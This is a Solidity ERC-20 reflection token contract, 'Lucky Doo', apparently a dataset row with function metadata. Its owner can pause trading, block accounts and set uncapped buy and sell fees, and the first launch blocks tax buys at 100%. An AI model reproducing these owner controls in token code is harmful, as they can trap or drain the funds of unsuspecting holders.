uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
uint8 holdersFeeOnSell;
}
// Launch taxes
bool private _isLaunched;
uint256 private _launchStartTimestamp;
uint256 private _launchBlockNumber;
CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2);
CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5);
CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4);
// Base taxes
CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2);
CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2);
uint256 private constant _blockedTimeLimit = 172800;
mapping (address => bool) private _isAllowedToTradeWhenDisabled;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromDividends;
mapping (address => bool) private _isBlocked;
mapping (address => bool) public automatedMarketMakerPairs;
address[] private _excludedFromDividends;
uint8 private _liquidityFee;
uint8 private _devFee;
uint8 private _marketingFee;
uint8 private _buyBackFee;
uint8 private _holdersFee;
uint8 private _totalFee;
event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value);
event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress);
event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet);
event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee);
event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period);
event BlockedAccountChange(address indexed holder, bool indexed status);
event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue);
event ExcludeFromFeesChange(address indexed account, bool isExcluded);
event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded);
event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded);
event ExcludeFromDividendsChange(address indexed account, bool isExcluded);
event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded);
event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity);
event ClaimETHOverflow(uint256 amount);
event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee);
constructor() {
liquidityWallet = owner();
marketingWallet = owner();
devWallet = owner();
buyBackWallet = owner();
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
excludeFromDividends(address(this), true);
excludeFromDividends(address(dead), true);
excludeFromDividends(address(_uniswapV2Router), true);
_isAllowedToTradeWhenDisabled[owner()] = true;
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[address(dead)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_rOwned[owner()] = _rTotal;
emit Transfer(address(0), owner(), _tTotal);
}
receive() external payable {}
// Setters
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero"));
return true;
}
function _approve(address owner,address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getNow() private view returns (uint256) {
return block.timestamp;
}
function launch() external onlyOwner {
_launchStartTimestamp = _getNow();
_launchBlockNumber = block.number;
isTradingEnabled = true;
_isLaunched = true;
}
function cancelLaunch() external onlyOwner {
require(this.isInLaunch(), "LuckyDooToken: Launch is not set");
_launchStartTimestamp = 0;
_launchBlockNumber = 0;
_isLaunched = false;
}
function activateTrading() external onlyOwner {
isTradingEnabled = true;
}
function deactivateTrading() external onlyOwner {
isTradingEnabled = false;
_tradingPausedTimestamp = _getNow();
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit AutomatedMarketMakerPairChange(pair, value);
}
function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner {
_isAllowedToTradeWhenDisabled[account] = allowed;
emit AllowedWhenTradingDisabledChange(account, allowed);
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromFee[account] = excluded;
emit ExcludeFromFeesChange(account, excluded);
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxWalletLimit[account] = excluded;
emit ExcludeFromMaxWalletChange(account, excluded);
}
function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
_isExcludedFromMaxTransactionLimit[account] = excluded;
emit ExcludeFromMaxTransferChange(account, excluded);
}
function blockAccount(address account) external onlyOwner {
uint256 currentTimestamp = _getNow();
require(!_isBlocked[account], "LuckyDooToken: Account is already blocked");
if (_isLaunched) {
require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired");
}
_isBlocked[account] = true;
emit BlockedAccountChange(account, true);
}
function unblockAccount(address account) external onlyOwner {
require(_isBlocked[account], "LuckyDooToken: Account is not blcoked");
_isBlocked[account] = false;
emit BlockedAccountChange(account, false);
}
function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner {
if(liquidityWallet != newLiquidityWallet) {
require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0");
emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet);
liquidityWallet = newLiquidityWallet;
}
if(devWallet != newDevWallet) {
require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0");
emit WalletChange('devWallet', newDevWallet, devWallet);
devWallet = newDevWallet;
}
if(marketingWallet != newMarketingWallet) {
require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0");
emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
if(buyBackWallet != newBuyBackWallett) {
require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0");
emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet);
buyBackWallet = newBuyBackWallett;
}
}
// Base fees
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch2 Fees
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
//Launch3 Fees
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner {
_setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell);
}
function setMaxWalletAmount(uint256 newValue) external onlyOwner {
require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value");
emit MaxWalletAmountChange(newValue, maxWalletAmount);
maxWalletAmount = newValue;
}
function setMaxTransactionAmount(uint256 newValue) external onlyOwner {
require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value");
emit MaxTransactionAmountChange(newValue, maxTxAmount);
maxTxAmount = newValue;
}
function excludeFromDividends(address account, bool excluded) public onlyOwner {
require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'");
if(excluded) {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromDividends[account] = excluded;
_excludedFromDividends.push(account);
} else {
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (_excludedFromDividends[i] == account) {
_excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1];
_tOwned[account] = 0;
_isExcludedFromDividends[account] = false;
_excludedFromDividends.pop();
break;
}
}
}
emit ExcludeFromDividendsChange(account, excluded);
}
function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner {
require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value");
emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap);
minimumTokensBeforeSwap = newValue;
}
function claimETHOverflow() external onlyOwner {
require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance");
uint256 amount = address(this).balance;
(bool success,) = address(owner()).call{value : amount}("");
if (success){
emit ClaimETHOverflow(amount);
}
}
// Getters
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view virtual returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedFromDividends[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function isInLaunch() external view returns (bool) {
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod;
if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) {
return true;
} else {
return false;
}
}
function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy);
}
function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){
return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell);
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply");
uint256 currentRate = _getRate();
uint256 rAmount = tAmount * currentRate;
if (!deductTransferFee) {
return rAmount;
}
else {
uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate;
uint256 rTransferAmount = rAmount - rTotalFee;
return rTransferAmount;
}
}
// Main
function _transfer(
address from,
address to,
uint256 amount
) internal {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance");
bool isBuyFromLp = automatedMarketMakerPairs[from];
bool isSelltoLp = automatedMarketMakerPairs[to];
bool _isInLaunch = this.isInLaunch();
if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) {
require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled.");
require(!_isBlocked[to], "LuckyDooToken: Account is blocked");
require(!_isBlocked[from], "LuckyDooToken: Account is blocked");
if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) {
require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount.");
}
}
_adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch);
bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap;
if (
isTradingEnabled &&
canSwap &&
!_swapping &&
_totalFee > 0 &&
automatedMarketMakerPairs[to] &&
from != liquidityWallet && to != liquidityWallet &&
from != devWallet && to != devWallet &&
from != marketingWallet && to != marketingWallet &&
from != buyBackWallet && to != buyBackWallet
) {
_swapping = true;
_swapAndLiquify();
_swapping = false;
}
bool takeFee = !_swapping && isTradingEnabled;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private {
(uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate());
if (_isExcludedFromDividends[sender]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
}
if (_isExcludedFromDividends[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeContractFees(rOther, tOther);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){
if (!takeFee) {
return (tAmount, 0, 0);
}
else {
uint256 tFee = tAmount * _holdersFee / 100;
uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100;
uint256 tTransferAmount = tAmount - (tFee + tOther);
return (tTransferAmount, tFee, tOther);
}
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tOther,
uint256 currentRate
) private pure returns ( uint256, uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rOther = tOther * currentRate;
uint256 rTransferAmount = rAmount - (rFee + rOther);
return (rAmount, rTransferAmount, rFee, rOther);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excludedFromDividends.length; i++) {
if (
_rOwned[_excludedFromDividends[i]] > rSupply ||
_tOwned[_excludedFromDividends[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excludedFromDividends[i]];
tSupply = tSupply - _tOwned[_excludedFromDividends[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeContractFees(uint256 rOther, uint256 tOther) private {
if (_isExcludedFromDividends[address(this)]) {
_tOwned[address(this)] += tOther;
}
_rOwned[address(this)] += rOther;
}
function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private {
uint256 blocksSinceLaunch = block.number - _launchBlockNumber;
uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow();
uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp;
_liquidityFee = 0;
_devFee = 0;
_marketingFee = 0;
_buyBackFee = 0;
_holdersFee = 0;
if (isBuyFromLp) {
_liquidityFee = _base.liquidityFeeOnBuy;
_devFee = _base.devFeeOnBuy;
_marketingFee = _base.marketingFeeOnBuy;
_buyBackFee = _base.buyBackFeeOnBuy;
_holdersFee = _base.holdersFeeOnBuy;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnBuy;
_devFee = _launch1.devFeeOnBuy;
_marketingFee = _launch1.marketingFeeOnBuy;
_buyBackFee = _launch1.buyBackFeeOnBuy;
_holdersFee = _launch1.holdersFeeOnBuy;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnBuy;
_devFee = _launch2.devFeeOnBuy;
_marketingFee = _launch2.marketingFeeOnBuy;
_buyBackFee = _launch2.buyBackFeeOnBuy;
_holdersFee = _launch2.holdersFeeOnBuy;
}
else {
_liquidityFee = _launch3.liquidityFeeOnBuy;
_devFee = _launch3.devFeeOnBuy;
_marketingFee = _launch3.marketingFeeOnBuy;
_buyBackFee = _launch3.buyBackFeeOnBuy;
_holdersFee = _launch3.holdersFeeOnBuy;
}
}
}
if (isSelltoLp) {
_liquidityFee = _base.liquidityFeeOnSell;
_devFee = _base.devFeeOnSell;
_marketingFee = _base.marketingFeeOnSell;
_buyBackFee = _base.buyBackFeeOnSell;
_holdersFee = _base.holdersFeeOnSell;
if(isLaunching) {
if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) {
_liquidityFee = _launch1.liquidityFeeOnSell;
_devFee = _launch1.devFeeOnSell;
_marketingFee = _launch1.marketingFeeOnSell;
_buyBackFee = _launch1.buyBackFeeOnSell;
_holdersFee = _launch1.holdersFeeOnSell;
}
else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) {
_liquidityFee = _launch2.liquidityFeeOnSell;
_devFee = _launch2.devFeeOnSell;
_marketingFee = _launch2.marketingFeeOnSell;
_buyBackFee = _launch2.buyBackFeeOnSell;
_holdersFee = _launch2.holdersFeeOnSell;
}
else {
_liquidityFee = _launch3.liquidityFeeOnSell;
_devFee = _launch3.devFeeOnSell;
_marketingFee = _launch3.marketingFeeOnSell;
_buyBackFee = _launch3.buyBackFeeOnSell;
_holdersFee = _launch3.holdersFeeOnSell;
}
}
}
_totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee;
emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee);
}
function _setCustomSellTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnSell,
uint8 _marketingFeeOnSell,
uint8 _devFeeOnSell,
uint8 _buyBackFeeOnSell,
uint8 _holdersFeeOnSell
) private {
if (map.liquidityFeeOnSell != _liquidityFeeOnSell) {
emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName);
map.liquidityFeeOnSell = _liquidityFeeOnSell;
}
if (map.marketingFeeOnSell != _marketingFeeOnSell) {
emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName);
map.marketingFeeOnSell = _marketingFeeOnSell;
}
if (map.devFeeOnSell != _devFeeOnSell) {
emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName);
map.devFeeOnSell = _devFeeOnSell;
}
if (map.buyBackFeeOnSell != _buyBackFeeOnSell) {
emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName);
map.buyBackFeeOnSell = _buyBackFeeOnSell;
}
if (map.holdersFeeOnSell != _holdersFeeOnSell) {
emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName);
map.holdersFeeOnSell = _holdersFeeOnSell;
}
}
function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map,
uint8 _liquidityFeeOnBuy,
uint8 _marketingFeeOnBuy,
uint8 _devFeeOnBuy,
uint8 _buyBackFeeOnBuy,
uint8 _holdersFeeOnBuy
) private {
if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) {
emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName);
map.liquidityFeeOnBuy = _liquidityFeeOnBuy;
}
if (map.marketingFeeOnBuy != _marketingFeeOnBuy) {
emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName);
map.marketingFeeOnBuy = _marketingFeeOnBuy;
}
if (map.devFeeOnBuy != _devFeeOnBuy) {
emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName);
map.devFeeOnBuy = _devFeeOnBuy;
}
if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) {
emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName);
map.buyBackFeeOnBuy = _buyBackFeeOnBuy;
}
if (map.holdersFeeOnBuy != _holdersFeeOnBuy) {
emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName);
map.holdersFeeOnBuy = _holdersFeeOnBuy;
}
}
function _swapAndLiquify() private {
uint256 contractBalance = balanceOf(address(this));
uint256 initialETHBalance = address(this).balance;
uint8 totalFeePrior = _totalFee;
uint8 liquidityFeePrior = _liquidityFee;
uint8 marketingFeePrior = _marketingFee;
uint8 devFeePrior = _devFee;
uint8 buyBackFeePrior = _buyBackFee;
uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2;
uint256 amountToSwapForETH = contractBalance - amountToLiquify;
_swapTokensForETH(amountToSwapForETH);
uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance;
uint256 totalETHFee = _totalFee - (_liquidityFee / 2);
uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2;
uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee;
uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee;
uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack);
payable(marketingWallet).transfer(amountETHMarketing);
payable(devWallet).transfer(amountETHDev);
payable(buyBackWallet).transfer(amountETHBuyBack);
if (amountToLiquify > 0) {
_addLiquidity(amountToLiquify, amountETHLiquidity);
emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify);
}
_totalFee = totalFeePrior;
_liquidityFee = liquidityFeePrior;
_marketingFee = marketingFeePrior;
_devFee = devFeePrior;
_buyBackFee = buyBackFeePrior;
}
function _swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityWallet,
block.timestamp
);
}
} | setLaunch3FeesOnBuy | function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner {
_setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy);
}
| //Launch3 Fees | LineComment | v0.8.13+commit.abaa5c0e | MIT | ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd | {
"func_code_index": [
13027,
13457
]
} | 1,310 |
||
LuckyDoo | LuckyDoo.sol | 0x78734a327b6d84b44c358cc42b2416967fe7a819 | Solidity | LuckyDoo | contract LuckyDoo is IERC20, Ownable {
using Address for address;
using SafeMath for uint256;
IRouter public uniswapV2Router;
address public immutable uniswapV2Pair;
string private constant _name = "Lucky Doo";
string private constant _symbol = "DOO";
uint8 private constant _decimals = 18;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
bool public isTradingEnabled;
uint256 private _tradingPausedTimestamp;
// max wallet is 2.0% of initialSupply
uint256 public maxWalletAmount = _tTotal * 200 / 10000;
// max tx is 0.53% of initialSupply
uint256 public maxTxAmount = _tTotal * 530 / 100000;
bool private _swapping;
// max wallet is 0.025% of initialSupply
uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000;
address private dead = 0x000000000000000000000000000000000000dEaD;
address public liquidityWallet;
address public marketingWallet;
address public devWallet;
address public buyBackWallet;
struct CustomTaxPeriod {
bytes23 periodName;
uint8 blocksInPeriod;
uint256 timeInPeriod;
uint8 liquidityFeeOnBuy;
uint8 liquidityFeeOnSell;
uint8 marketingFeeOnBuy;
uint8 marketingFeeOnSell;
uint8 devFeeOnBuy;
uint8 devFeeOnSell;
uint8 buyBackFeeOnBuy;
uint8 buyBackFeeOnSell;
uint8 holdersFeeOnBuy;
